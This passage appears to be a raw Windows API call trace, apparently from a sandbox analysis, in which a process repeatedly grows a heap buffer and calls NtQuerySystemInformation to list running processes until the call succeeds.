RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0212.138] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.138] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0212.138] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0212.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0212.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0212.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0212.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0212.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0212.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0212.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0212.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0212.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0212.141] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0212.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0212.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0212.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0212.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0212.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0212.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0212.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0212.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0212.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0212.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0212.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0212.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0212.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0212.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0212.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0212.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0212.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0212.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0212.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0212.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0212.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0212.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0212.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0212.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0212.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0212.374] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0213.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0213.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0213.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0213.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0213.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0213.006] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.488] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.488] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.488] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.489] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.489] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.489] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.489] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.489] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0213.489] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0213.597] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.702] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.702] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.703] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0213.703] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0213.813] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0213.924] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0213.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0213.924] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0213.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0213.924] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0213.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.924] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0213.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.925] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0213.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.925] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0213.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0213.925] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0213.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0213.925] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0213.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, 